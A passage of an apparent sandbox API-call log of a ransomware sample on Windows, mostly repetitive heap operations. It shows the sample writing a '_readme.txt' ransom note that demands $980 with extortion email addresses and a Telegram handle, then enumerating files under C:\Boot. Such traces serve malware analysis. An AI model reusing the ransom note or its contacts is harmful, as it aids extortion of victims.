returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.879] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.879] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.879] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.879] PathFindFileNameW (pszPath="") returned="" [0124.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.880] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.880] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.880] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.880] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.880] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0124.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.880] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0124.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.880] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.880] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.881] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.881] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.881] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.881] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.881] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0124.881] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.881] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.881] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.881] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.881] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | 